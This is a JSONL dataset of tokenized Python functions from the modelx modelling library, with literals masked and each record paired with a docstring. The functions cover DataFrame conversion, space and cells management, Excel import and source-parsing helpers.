{"signature": "def cellsiter_to_dataframe(cellsiter, args, drop_allna=True):", "body": "from modelx.core.cells import shareable_parameters<EOL>if len(args):<EOL><INDENT>indexes = shareable_parameters(cellsiter)<EOL><DEDENT>else:<EOL><INDENT>indexes = get_all_params(cellsiter.values())<EOL><DEDENT>result = None<EOL>for cells in cellsiter.values():<EOL><INDENT>df = cells_to_dataframe(cells, args)<EOL>if drop_allna and df.isnull().all().all():<EOL><INDENT>continue  <EOL><DEDENT>if df.index.names != [None]:<EOL><INDENT>if isinstance(df.index, pd.MultiIndex):<EOL><INDENT>if _pd_ver < (<NUM_LIT:0>, <NUM_LIT:20>):<EOL><INDENT>df = _reset_naindex(df)<EOL><DEDENT><DEDENT>df = df.reset_index()<EOL><DEDENT>missing_params = set(indexes) - set(df)<EOL>for params in missing_params:<EOL><INDENT>df[params] = np.nan<EOL><DEDENT>if result is None:<EOL><INDENT>result = df<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>result = pd.merge(result, df, how=\"<STR_LIT>\")<EOL><DEDENT>except MergeError:<EOL><INDENT>result = pd.concat([result, df], axis=<NUM_LIT:1>)<EOL><DEDENT>except ValueError:<EOL><INDENT>cols = set(result.columns) & set(df.columns)<EOL>for col in cols:<EOL><INDENT>if (<EOL>len(<EOL>[<EOL>str(frame[col].dtype)<EOL>for frame in (result, df)<EOL>if str(frame[col].dtype) == \"<STR_LIT:object>\"<EOL>]<EOL>)<EOL>== <NUM_LIT:1><EOL>):<EOL><INDENT>if str(result[col].dtype) == \"<STR_LIT:object>\":<EOL><INDENT>frame = df<EOL><DEDENT>else:<EOL><INDENT>frame = result<EOL><DEDENT>frame[[col]] = frame[col].astype(\"<STR_LIT:object>\")<EOL><DEDENT><DEDENT>result = pd.merge(result, df, how=\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>if result is None:<EOL><INDENT>return pd.DataFrame()<EOL><DEDENT>else:<EOL><INDENT>return result.set_index(indexes) if indexes else result<EOL><DEDENT>", "docstring": "Convert multiple cells to a frame.\n\n    If args is an empty sequence, all values are included.\n    If args is specified, cellsiter must have shareable parameters.\n\n    Args:\n        cellsiter: A mapping from cells names to CellsImpl objects.\n        args: A sequence of arguments", "id": "f13975:m0"}
{"signature": "def cells_to_series(cells, args):", "body": "paramlen = len(cells.formula.parameters)<EOL>is_multidx = paramlen > <NUM_LIT:1><EOL>if len(cells.data) == <NUM_LIT:0>:<EOL><INDENT>data = {}<EOL>indexes = None<EOL><DEDENT>elif paramlen == <NUM_LIT:0>:  <EOL><INDENT>data = list(cells.data.values())<EOL>indexes = [np.nan]<EOL><DEDENT>else:<EOL><INDENT>if len(args) > <NUM_LIT:0>:<EOL><INDENT>defaults = tuple(<EOL>param.default<EOL>for param in cells.formula.signature.parameters.values()<EOL>)<EOL>updated_args = []<EOL>for arg in args:<EOL><INDENT>if len(arg) > paramlen:<EOL><INDENT>arg = arg[:paramlen]<EOL><DEDENT>elif len(arg) < paramlen:<EOL><INDENT>arg += defaults[len(arg) :]<EOL><DEDENT>updated_args.append(arg)<EOL><DEDENT>items = [<EOL>(arg, cells.data[arg])<EOL>for arg in updated_args<EOL>if arg in cells.data<EOL>]<EOL><DEDENT>else:<EOL><INDENT>items = [(key, value) for key, value in cells.data.items()]<EOL><DEDENT>if not is_multidx:  <EOL><INDENT>items = [(key[<NUM_LIT:0>], value) for key, value in items]<EOL><DEDENT>if len(items) == <NUM_LIT:0>:<EOL><INDENT>indexes, data = None, {}<EOL><DEDENT>else:<EOL><INDENT>indexes, data = zip(*items)<EOL>if is_multidx:<EOL><INDENT>indexes = pd.MultiIndex.from_tuples(indexes)<EOL><DEDENT><DEDENT><DEDENT>result = pd.Series(data=data, name=cells.name, index=indexes)<EOL>if indexes is not None and any(i is not np.nan for i in indexes):<EOL><INDENT>result.index.names = list(cells.formula.parameters)<EOL><DEDENT>return result<EOL>", "docstring": "Convert a CellImpl into a Series.\n\n    `args` must be a sequence of argkeys.\n\n    `args` can be longer or shorter then the number of cell's parameters.\n    If shorter, then defaults are filled if any, else raise error.\n    If longer, then redundant args are ignored.", "id": "f13975:m3"}
{"signature": "def to_frame(self, *args):", "body": "if sys.version_info < (<NUM_LIT:3>, <NUM_LIT:6>, <NUM_LIT:0>):<EOL><INDENT>from collections import OrderedDict<EOL>impls = OrderedDict()<EOL>for name, obj in self.items():<EOL><INDENT>impls[name] = obj._impl<EOL><DEDENT><DEDENT>else:<EOL><INDENT>impls = get_impls(self)<EOL><DEDENT>return _to_frame_inner(impls, args)<EOL>", "docstring": "Convert the cells in the view into a DataFrame object.\n\n        If ``args`` is not given, this method returns a DataFrame that\n        has an Index or a MultiIndex depending of the number of\n        cells parameters and columns each of which corresponds to each\n        cells included in the view.\n\n        ``args`` can be given to calculate cells values and limit the\n        DataFrame indexes to the given arguments.\n\n        The cells in this view may have different number of parameters,\n        but parameters shared among multiple cells\n        must appear in the same position in all the parameter lists.\n        For example,\n        Having ``foo()``, ``bar(x)`` and ``baz(x, y=1)`` is okay\n        because the shared parameter ``x`` is always the first parameter,\n        but this method does not work if the view has ``quz(x, z=2, y=1)``\n        cells in addition to the first three cells, because ``y`` appears\n        in different positions.\n\n        Args:\n            args(optional): multiple arguments,\n               or an iterator of arguments to the cells.", "id": "f13977:c4:m1"}
{"signature": "@property<EOL><INDENT>def bases(self):<DEDENT>", "body": "return get_interfaces(self._impl.bases)<EOL>", "docstring": "List of base classes.", "id": "f13977:c7:m2"}
{"signature": "@property<EOL><INDENT>def _direct_bases(self):<DEDENT>", "body": "return get_interfaces(self._impl.direct_bases)<EOL>", "docstring": "Directly inherited base classes", "id": "f13977:c7:m3"}
{"signature": "def _is_base(self, other):", "body": "return self._impl.is_base(other._impl)<EOL>", "docstring": "True if the space is a base space of ``other``, False otherwise.", "id": "f13977:c7:m4"}
{"signature": "def _is_sub(self, other):", "body": "return self._impl.is_sub(other._impl)<EOL>", "docstring": "True if the space is a sub space of ``other``, False otherwise.", "id": "f13977:c7:m5"}
{"signature": "def _is_static(self):", "body": "return isinstance(self._impl, StaticSpaceImpl)<EOL>", "docstring": "True if the space is a static space, False if dynamic.", "id": "f13977:c7:m6"}
{"signature": "def _is_derived(self):", "body": "return self._impl.is_derived<EOL>", "docstring": "True if the space is a derived space, False otherwise.", "id": "f13977:c7:m7"}
{"signature": "def _is_defined(self):", "body": "return self._impl.is_defined()<EOL>", "docstring": "True if the space is a defined space, False otherwise.", "id": "f13977:c7:m8"}
{"signature": "def _is_root(self):", "body": "return isinstance(self._impl, RootDynamicSpaceImpl)<EOL>", "docstring": "True if ths space is a dynamic space, False otherwise.", "id": "f13977:c7:m9"}
{"signature": "def _is_dynamic(self):", "body": "return self._impl.is_dynamic()<EOL>", "docstring": "True if the space is in a dynamic space, False otherwise.", "id": "f13977:c7:m10"}
{"signature": "@property<EOL><INDENT>def cells(self):<DEDENT>", "body": "return self._impl.cells.interfaces<EOL>", "docstring": "A mapping of cells names to the cells objects in the space.", "id": "f13977:c7:m11"}
{"signature": "@property<EOL><INDENT>def _self_cells(self):<DEDENT>", "body": "return self._impl.self_cells.interfaces<EOL>", "docstring": "A mapping that associates names to cells defined in the space", "id": "f13977:c7:m12"}
{"signature": "@property<EOL><INDENT>def _derived_cells(self):<DEDENT>", "body": "return self._impl.derived_cells.interfaces<EOL>", "docstring": "A mapping associating names to derived cells.", "id": "f13977:c7:m13"}
{"signature": "@property<EOL><INDENT>def all_spaces(self):<DEDENT>", "body": "return self._impl.spaces.interfaces<EOL>", "docstring": "A mapping associating names to all(static and dynamic) spaces.", "id": "f13977:c7:m14"}
{"signature": "@property<EOL><INDENT>def spaces(self):<DEDENT>", "body": "return self._impl.static_spaces.interfaces<EOL>", "docstring": "A mapping associating names to static spaces.", "id": "f13977:c7:m15"}
{"signature": "@property<EOL><INDENT>def static_spaces(self):<DEDENT>", "body": "return self._impl.static_spaces.interfaces<EOL>", "docstring": "A mapping associating names to static spaces.\n\n        Alias to :py:meth:`spaces`", "id": "f13977:c7:m16"}
{"signature": "@property<EOL><INDENT>def dynamic_spaces(self):<DEDENT>", "body": "return self._impl.dynamic_spaces.interfaces<EOL>", "docstring": "A mapping associating names to dynamic spaces.", "id": "f13977:c7:m17"}
{"signature": "@property<EOL><INDENT>def _self_spaces(self):<DEDENT>", "body": "return self._impl.self_spaces.interfaces<EOL>", "docstring": "A mapping associating names to self spaces.", "id": "f13977:c7:m18"}
{"signature": "@property<EOL><INDENT>def _derived_spaces(self):<DEDENT>", "body": "return self._impl.derived_spaces.interfaces<EOL>", "docstring": "A mapping associating names to derived spaces.", "id": "f13977:c7:m19"}
{"signature": "@property<EOL><INDENT>def argvalues(self):<DEDENT>", "body": "return self._impl.argvalues_if<EOL>", "docstring": "A tuple of space arguments.", "id": "f13977:c7:m20"}
{"signature": "@property<EOL><INDENT>def parameters(self):<DEDENT>", "body": "return tuple(self._impl.formula.parameters)<EOL>", "docstring": "A tuple of parameter strings.", "id": "f13977:c7:m21"}
{"signature": "@property<EOL><INDENT>def refs(self):<DEDENT>", "body": "return self._impl.refs.interfaces<EOL>", "docstring": "A map associating names to objects accessible by the names.", "id": "f13977:c7:m22"}
{"signature": "@property<EOL><INDENT>def _self_refs(self):<DEDENT>", "body": "return self._impl.self_refs.interfaces<EOL>", "docstring": "A mapping associating names to self refs.", "id": "f13977:c7:m23"}
{"signature": "@property<EOL><INDENT>def formula(self):<DEDENT>", "body": "return self._impl.formula<EOL>", "docstring": "Property to get, set, delete formula.", "id": "f13977:c7:m24"}
{"signature": "def has_params(self):", "body": "<EOL>return bool(self._impl.formula)<EOL>", "docstring": "Check if the parameter function is set.", "id": "f13977:c7:m25"}
{"signature": "def to_frame(self, *args):", "body": "return self._impl.to_frame(args)<EOL>", "docstring": "Convert the space itself into a Pandas DataFrame object.", "id": "f13977:c7:m29"}
{"signature": "@property<EOL><INDENT>def frame(self):<DEDENT>", "body": "return self._impl.to_frame(())<EOL>", "docstring": "Alias of ``to_frame()``.", "id": "f13977:c7:m30"}
{"signature": "@property<EOL><INDENT>def _baseattrs(self):<DEDENT>", "body": "result = super()._baseattrs<EOL>result[\"<STR_LIT>\"] = self.static_spaces._baseattrs<EOL>result[\"<STR_LIT>\"] = self.dynamic_spaces._baseattrs<EOL>result[\"<STR_LIT>\"] = self.cells._baseattrs<EOL>result[\"<STR_LIT>\"] = self.refs._baseattrs<EOL>if self.has_params():<EOL><INDENT>result[\"<STR_LIT>\"] = \"<STR_LIT:U+002CU+0020>\".join(self.parameters)<EOL><DEDENT>else:<EOL><INDENT>result[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT>return result<EOL>", "docstring": "A dict of members expressed in literals", "id": "f13977:c7:m31"}
{"signature": "def new_cells(self, name=None, formula=None):", "body": "<EOL>return self._impl.new_cells(name, formula).interface<EOL>", "docstring": "Create a cells in the space.\n\n        Args:\n            name: If omitted, the model is named automatically ``CellsN``,\n                where ``N`` is an available number.\n            func: The function to define the formula of the cells.\n\n        Returns:\n            The new cells.", "id": "f13977:c8:m0"}
{"signature": "def add_bases(self, *bases):", "body": "return self._impl.add_bases(get_impls(bases))<EOL>", "docstring": "Add base spaces.", "id": "f13977:c8:m1"}
{"signature": "def remove_bases(self, *bases):", "body": "return self._impl.remove_bases(bases)<EOL>", "docstring": "Remove base spaces.", "id": "f13977:c8:m2"}
{"signature": "def import_funcs(self, module):", "body": "<EOL>newcells = self._impl.new_cells_from_module(module)<EOL>return get_interfaces(newcells)<EOL>", "docstring": "Create a cells from a module.", "id": "f13977:c8:m3"}
{"signature": "def new_cells_from_module(self, module):", "body": "<EOL>newcells = self._impl.new_cells_from_module(module)<EOL>return get_interfaces(newcells)<EOL>", "docstring": "Create a cells from a module.\n\n        Alias to :py:meth:`import_funcs`.", "id": "f13977:c8:m4"}
{"signature": "def reload(self):", "body": "self._impl.reload()<EOL>return self<EOL>", "docstring": "Reload the source module and update the formulas.\n\n        If the space was created from a module, reload the module and\n        update the formulas of its cells.\n\n        If a cell in the space is not created from a function definition\n        in the source module of the space, it is not updated.\n\n        If the formula of a cell in the space was created from a function\n        definition in the source module of the space and the definition is\n        missing from the updated module, the formula is cleared and\n        values calculated directly or indirectly depending the cells\n        are cleared.\n\n        If the formula of a cell in the space has not been changed\n        before and after reloading the source module, the values held\n        in the cell and relevant cells are retained.\n\n        Returns:\n            This method returns the space itself.", "id": "f13977:c8:m5"}
{"signature": "def new_cells_from_excel(<EOL>self,<EOL>book,<EOL>range_,<EOL>sheet=None,<EOL>names_row=None,<EOL>param_cols=None,<EOL>param_order=None,<EOL>transpose=False,<EOL>names_col=None,<EOL>param_rows=None,<EOL>):", "body": "return self._impl.new_cells_from_excel(<EOL>book,<EOL>range_,<EOL>sheet,<EOL>names_row,<EOL>param_cols,<EOL>param_order,<EOL>transpose,<EOL>names_col,<EOL>param_rows,<EOL>)<EOL>", "docstring": "Create multiple cells from an Excel range.\n\n        This method reads values from a range in an Excel file,\n        create cells and populate them with the values in the range.\n        To use this method, ``openpyxl`` package must be installed.\n\n        The Excel file to read data from is specified by ``book``\n        parameters. The ``range_`` can be a range address, such as \"$G4:$K10\",\n        or a named range. In case a range address is given,\n        ``sheet`` must also be given.\n\n        By default, cells data are interpreted as being laid out side-by-side.\n        ``names_row`` is a row index (starting from 0) to specify the\n        row that contains the names of cells and parameters.\n        Cells and parameter names must be contained in a single row.\n        ``param_cols`` accepts a sequence (such as list or tuple) of\n        column indexes (starting from 0) that indicate columns that\n        contain cells arguments.\n\n        **2-dimensional cells definitions**\n\n        The optional ``names_col`` and ``param_rows`` parameters are used,\n        when data for one cells spans more than one column.\n        In such cases, the cells data is 2-dimensional, and\n        there must be parameter row(s) across the columns\n        that contain arguments of the parameters.\n        A sequence of row indexes that indicate parameter rows\n        is passed to ``param_rows``.\n        The names of those parameters must be contained in the\n        same rows as parameter values (arguments), and\n        ``names_col`` is to indicate the column position at which\n        the parameter names are defined.\n\n        **Horizontal arrangement**\n\n        By default, cells data are interpreted as being placed\n        side-by-side, regardless of whether one cells corresponds\n        to a single column or multiple columns.\n        ``transpose`` parameter is used to alter this orientation,\n        and if it is set to ``True``, cells values are\n        interpreted as being placed one above the other.\n        \"row(s)\" and \"col(s)\" in the parameter\n        names are interpreted inversely, i.e.\n        all indexes passed to \"row(s)\" parameters are interpreted\n        as column indexes,\n        and all indexes passed to \"col(s)\" parameters as row indexes.\n\n\n        Args:\n            book (str): Path to an Excel file.\n            range_ (str): Range expression, such as \"A1\", \"$G4:$K10\",\n                or named range \"NamedRange1\".\n            sheet (str): Sheet name (case ignored).\n            names_row (optional): an index number indicating\n                what row contains the names of cells and parameters.\n                Defaults to the top row (0).\n            param_cols (optional): a sequence of index numbers\n                indicating parameter columns.\n                Defaults to only the leftmost column ([0]).\n            names_col (optional): an index number, starting from 0,\n                indicating what column contains additional parameters.\n            param_rows (optional): a sequence of index numbers, starting from\n                0, indicating rows of additional parameters, in case cells are\n                defined in two dimensions.\n            transpose (optional): Defaults to ``False``.\n                If set to ``True``, \"row(s)\" and \"col(s)\" in the parameter\n                names are interpreted inversely, i.e.\n                all indexes passed to \"row(s)\" parameters are interpreted\n                as column indexes,\n                and all indexes passed to \"col(s)\" parameters as row indexes.\n            param_order (optional): a sequence to reorder the parameters.\n                The elements of the sequence are the indexes of ``param_cols``\n                elements, and optionally the index of ``param_rows`` elements\n                shifted by the length of ``param_cols``.", "id": "f13977:c8:m6"}
{"signature": "def __contains__(self, item):", "body": "if isinstance(item, str):<EOL><INDENT>return item in self._impl.namespace<EOL><DEDENT>elif isinstance(item, Cells):<EOL><INDENT>return item._impl in self._impl.cells.values()<EOL><DEDENT>elif isinstance(item, StaticSpace):<EOL><INDENT>return item._impl in self._impl.spaces.values()<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check if item is in the space.\n\n        item can be either a cells or space.\n\n        Args:\n            item: a cells or space to check.\n\n        Returns:\n            True if item is a direct child of the space, False otherwise.", "id": "f13977:c8:m7"}
{"signature": "def set_formula(self, formula):", "body": "self._impl.set_formula(formula)<EOL>", "docstring": "Set if the parameter function.", "id": "f13977:c8:m11"}
{"signature": "@property<EOL><INDENT>def direct_bases(self):<DEDENT>", "body": "return list(self.model.spacegraph.predecessors(self))<EOL>", "docstring": "Return an iterator over direct base spaces", "id": "f13977:c9:m11"}
{"signature": "def get_object(self, name):", "body": "parts = name.split(\"<STR_LIT:.>\")<EOL>child = parts.pop(<NUM_LIT:0>)<EOL>if parts:<EOL><INDENT>return self.spaces[child].get_object(\"<STR_LIT:.>\".join(parts))<EOL><DEDENT>else:<EOL><INDENT>return self._namespace_impl[child]<EOL><DEDENT>", "docstring": "Retrieve an object by a dotted name relative to the space.", "id": "f13977:c9:m27"}
{"signature": "def _get_dynamic_base(self, bases_):", "body": "bases = tuple(<EOL>base.bases[<NUM_LIT:0>] if base.is_dynamic() else base for base in bases_<EOL>)<EOL>if len(bases) == <NUM_LIT:1>:<EOL><INDENT>return bases[<NUM_LIT:0>]<EOL><DEDENT>elif len(bases) > <NUM_LIT:1>:<EOL><INDENT>return self.model.get_dynamic_base(bases)<EOL><DEDENT>else:<EOL><INDENT>RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Create or get the base space from a list of spaces\n\n        if a direct base space in `bases` is dynamic, replace it with\n        its base.", "id": "f13977:c9:m30"}
{"signature": "def _new_dynspace(<EOL>self,<EOL>name=None,<EOL>bases=None,<EOL>formula=None,<EOL>refs=None,<EOL>arguments=None,<EOL>source=None,<EOL>):", "body": "if name is None:<EOL><INDENT>name = self.spacenamer.get_next(self.namespace)<EOL><DEDENT>if name in self.namespace:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % name)<EOL><DEDENT>if not is_valid_name(name):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % name)<EOL><DEDENT>space = RootDynamicSpaceImpl(<EOL>parent=self,<EOL>name=name,<EOL>formula=formula,<EOL>refs=refs,<EOL>source=source,<EOL>arguments=arguments,<EOL>)<EOL>space.is_derived = False<EOL>self._set_space(space)<EOL>if bases:  <EOL><INDENT>dynbase = self._get_dynamic_base(bases)<EOL>space._dynbase = dynbase<EOL>dynbase._dynamic_subs.append(space)<EOL><DEDENT>return space<EOL>", "docstring": "Create a new dynamic root space.", "id": "f13977:c9:m31"}
{"signature": "def get_dynspace(self, args, kwargs=None):", "body": "node = get_node(self, *convert_args(args, kwargs))<EOL>key = node[KEY]<EOL>if key in self.param_spaces:<EOL><INDENT>return self.param_spaces[key]<EOL><DEDENT>else:<EOL><INDENT>last_self = self.system.self<EOL>self.system.self = self<EOL>try:<EOL><INDENT>space_args = self.eval_formula(node)<EOL><DEDENT>finally:<EOL><INDENT>self.system.self = last_self<EOL><DEDENT>if space_args is None:<EOL><INDENT>space_args = {\"<STR_LIT>\": [self]}  <EOL><DEDENT>else:<EOL><INDENT>if \"<STR_LIT>\" in space_args:<EOL><INDENT>bases = get_impls(space_args[\"<STR_LIT>\"])<EOL>if isinstance(bases, StaticSpaceImpl):<EOL><INDENT>space_args[\"<STR_LIT>\"] = [bases]<EOL><DEDENT>elif bases is None:<EOL><INDENT>space_args[\"<STR_LIT>\"] = [self]  <EOL><DEDENT>else:<EOL><INDENT>space_args[\"<STR_LIT>\"] = bases<EOL><DEDENT><DEDENT>else:<EOL><INDENT>space_args[\"<STR_LIT>\"] = [self]<EOL><DEDENT><DEDENT>space_args[\"<STR_LIT>\"] = node_get_args(node)<EOL>space = self._new_dynspace(**space_args)<EOL>self.param_spaces[key] = space<EOL>space.inherit(clear_value=False)<EOL>return space<EOL><DEDENT>", "docstring": "Create a dynamic root space\n\n        Called from interface methods", "id": "f13977:c9:m32"}
{"signature": "def restore_state(self, system):", "body": "super().restore_state(system)<EOL>BaseSpaceContainerImpl.restore_state(self, system)<EOL>for cells in self._cells.values():<EOL><INDENT>cells.restore_state(system)<EOL><DEDENT>", "docstring": "Called after unpickling to restore some attributes manually.", "id": "f13977:c9:m38"}
{"signature": "def new_cells_from_excel(<EOL>self,<EOL>book,<EOL>range_,<EOL>sheet=None,<EOL>names_row=None,<EOL>param_cols=None,<EOL>param_order=None,<EOL>transpose=False,<EOL>names_col=None,<EOL>param_rows=None,<EOL>):", "body": "import modelx.io.excel as xl<EOL>cellstable = xl.CellsTable(<EOL>book,<EOL>range_,<EOL>sheet,<EOL>names_row,<EOL>param_cols,<EOL>param_order,<EOL>transpose,<EOL>names_col,<EOL>param_rows,<EOL>)<EOL>if cellstable.param_names:<EOL><INDENT>sig = \"<STR_LIT>\".join(cellstable.param_names) + \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>sig = \"<STR_LIT>\"<EOL><DEDENT>blank_func = \"<STR_LIT>\" + sig + \"<STR_LIT>\"<EOL>for cellsdata in cellstable.items():<EOL><INDENT>cells = self.new_cells(name=cellsdata.name, formula=blank_func)<EOL>for args, value in cellsdata.items():<EOL><INDENT>cells.set_value(args, value)<EOL><DEDENT><DEDENT>", "docstring": "Create multiple cells from an Excel range.\n\n        Args:\n            book (str): Path to an Excel file.\n            range_ (str): Range expression, such as \"A1\", \"$G4:$K10\",\n                or named range \"NamedRange1\".\n            sheet (str): Sheet name (case ignored).\n            names_row: Cells names in a sequence, or an integer number, or\n              a string expression indicating row (or column depending on\n              ```orientation```) to read cells names from.\n            param_cols: a sequence of them\n                indicating parameter columns (or rows depending on ```\n                orientation```)\n            param_order: a sequence of integers representing\n                the order of params and extra_params.\n            transpose: in which direction 'vertical' or 'horizontal'\n            names_col: a string or a list of names of the extra params.\n            param_rows: integer or string expression, or a sequence of them\n                indicating row (or column) to be interpreted as parameters.", "id": "f13977:c10:m5"}
{"signature": "def set_attr(self, name, value):", "body": "if not is_valid_name(name):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % name)<EOL><DEDENT>if name in self.namespace:<EOL><INDENT>if name in self.refs:<EOL><INDENT>if name in self.self_refs:<EOL><INDENT>self.new_ref(name, value)<EOL><DEDENT>else:<EOL><INDENT>raise KeyError(\"<STR_LIT>\" % name)<EOL><DEDENT><DEDENT>elif name in self.cells:<EOL><INDENT>if self.cells[name].is_scalar():<EOL><INDENT>self.cells[name].set_value((), value)<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\" % name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.new_ref(name, value)<EOL><DEDENT>", "docstring": "Implementation of attribute setting\n\n        ``space.name = value`` by user script\n        Called from ``Space.__setattr__``", "id": "f13977:c10:m7"}
{"signature": "def del_attr(self, name):", "body": "if name in self.namespace:<EOL><INDENT>if name in self.cells:<EOL><INDENT>self.del_cells(name)<EOL><DEDENT>elif name in self.spaces:<EOL><INDENT>self.del_space(name)<EOL><DEDENT>elif name in self.refs:<EOL><INDENT>self.del_ref(name)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise KeyError(\"<STR_LIT>\" % (name, self.name))<EOL><DEDENT>", "docstring": "Implementation of attribute deletion\n\n        ``del space.name`` by user script\n        Called from ``StaticSpace.__delattr__``", "id": "f13977:c10:m8"}
{"signature": "def del_space(self, name):", "body": "if name not in self.spaces:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % name)<EOL><DEDENT>if name in self.static_spaces:<EOL><INDENT>space = self.static_spaces[name]<EOL>if space.is_derived:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % repr(space.interface)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>self.static_spaces.del_item(name)<EOL>self.model.spacegraph.remove_node(space)<EOL>self.inherit()<EOL>self.model.spacegraph.update_subspaces(self)<EOL><DEDENT><DEDENT>elif name in self.dynamic_spaces:<EOL><INDENT>self.dynamic_spaces.del_item(name)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Delete a space.", "id": "f13977:c10:m15"}
{"signature": "def del_cells(self, name):", "body": "if name in self.cells:<EOL><INDENT>cells = self.cells[name]<EOL>self.cells.del_item(name)<EOL>self.inherit()<EOL>self.model.spacegraph.update_subspaces(self)<EOL><DEDENT>elif name in self.dynamic_spaces:<EOL><INDENT>cells = self.dynamic_spaces.pop(name)<EOL>self.dynamic_spaces.set_update()<EOL><DEDENT>else:<EOL><INDENT>raise KeyError(\"<STR_LIT>\" % name)<EOL><DEDENT>NullImpl(cells)<EOL>", "docstring": "Implementation of cells deletion\n\n        ``del space.name`` where name is a cells, or\n        ``del space.cells['name']``", "id": "f13977:c10:m16"}
{"signature": "@property<EOL><INDENT>def evalrepr(self):<DEDENT>", "body": "args = [repr(arg) for arg in get_interfaces(self.argvalues)]<EOL>param = \"<STR_LIT:U+002CU+0020>\".join(args)<EOL>return \"<STR_LIT>\" % (self.parent.evalrepr, param)<EOL>", "docstring": "Evaluable repr", "id": "f13977:c13:m8"}
{"signature": "def fix_lamdaline(source):", "body": "<EOL>strio = io.StringIO(source)<EOL>gen = tokenize.generate_tokens(strio.readline)<EOL>tkns = []<EOL>try:<EOL><INDENT>for t in gen:<EOL><INDENT>tkns.append(t)<EOL><DEDENT><DEDENT>except tokenize.TokenError:<EOL><INDENT>pass<EOL><DEDENT>lambda_pos = [(t.type, t.string) for t in tkns].index(<EOL>(tokenize.NAME, \"<STR_LIT>\")<EOL>)<EOL>tkns = tkns[lambda_pos:]<EOL>lastop_pos = (<EOL>len(tkns) - <NUM_LIT:1> - [t.type for t in tkns[::-<NUM_LIT:1>]].index(tokenize.OP)<EOL>)<EOL>lastop = tkns[lastop_pos]<EOL>fiedlineno = lastop.start[<NUM_LIT:0>]<EOL>fixedline = lastop.line[: lastop.start[<NUM_LIT:1>]] + lastop.line[lastop.end[<NUM_LIT:1>] :]<EOL>tkns = tkns[:lastop_pos]<EOL>fixedlines = \"<STR_LIT>\"<EOL>last_lineno = <NUM_LIT:0><EOL>for t in tkns:<EOL><INDENT>if last_lineno == t.start[<NUM_LIT:0>]:<EOL><INDENT>continue<EOL><DEDENT>elif t.start[<NUM_LIT:0>] == fiedlineno:<EOL><INDENT>fixedlines += fixedline<EOL>last_lineno = t.start[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>fixedlines += t.line<EOL>last_lineno = t.start[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return fixedlines<EOL>", "docstring": "Remove the last redundant token from lambda expression\n\n    lambda x: return x)\n                      ^\n    Return string without irrelevant tokens\n    returned from inspect.getsource on lamda expr returns", "id": "f13978:m0"}
{"signature": "def find_funcdef(source):", "body": "try:<EOL><INDENT>module_node = compile(<EOL>source, \"<STR_LIT>\", mode=\"<STR_LIT>\", flags=ast.PyCF_ONLY_AST<EOL>)<EOL><DEDENT>except SyntaxError:<EOL><INDENT>return find_funcdef(fix_lamdaline(source))<EOL><DEDENT>for node in ast.walk(module_node):<EOL><INDENT>if isinstance(node, ast.FunctionDef) or isinstance(node, ast.Lambda):<EOL><INDENT>return node<EOL><DEDENT><DEDENT>raise ValueError(\"<STR_LIT>\")<EOL>", "docstring": "Find the first FuncDef ast object in source", "id": "f13978:m1"}
{"signature": "def extract_params(source):", "body": "funcdef = find_funcdef(source)<EOL>params = []<EOL>for node in ast.walk(funcdef.args):<EOL><INDENT>if isinstance(node, ast.arg):<EOL><INDENT>if node.arg not in params:<EOL><INDENT>params.append(node.arg)<EOL><DEDENT><DEDENT><DEDENT>return params<EOL>", "docstring": "Extract parameters from a function definition", "id": "f13978:m2"}
{"signature": "def extract_names(source):", "body": "if source is None:<EOL><INDENT>return None<EOL><DEDENT>source = dedent(source)<EOL>funcdef = find_funcdef(source)<EOL>params = extract_params(source)<EOL>names = []<EOL>if isinstance(funcdef, ast.FunctionDef):<EOL><INDENT>stmts = funcdef.body<EOL><DEDENT>elif isinstance(funcdef, ast.Lambda):<EOL><INDENT>stmts = [funcdef.body]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>for stmt in stmts:<EOL><INDENT>for node in ast.walk(stmt):<EOL><INDENT>if isinstance(node, ast.Name):<EOL><INDENT>if node.id not in names and node.id not in params:<EOL><INDENT>names.append(node.id)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return names<EOL>", "docstring": "Extract names from a function definition\n\n    Looks for a function definition in the source.\n    Only the first function definition is examined.\n\n    Returns:\n         a list names(identifiers) used in the body of the function\n         excluding function parameters.", "id": "f13978:m3"}
{"signature": "def is_funcdef(src):", "body": "module_node = ast.parse(dedent(src))<EOL>if len(module_node.body) == <NUM_LIT:1> and isinstance(<EOL>module_node.body[<NUM_LIT:0>], ast.FunctionDef<EOL>):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "True if src is a function definition", "id": "f13978:m5"}
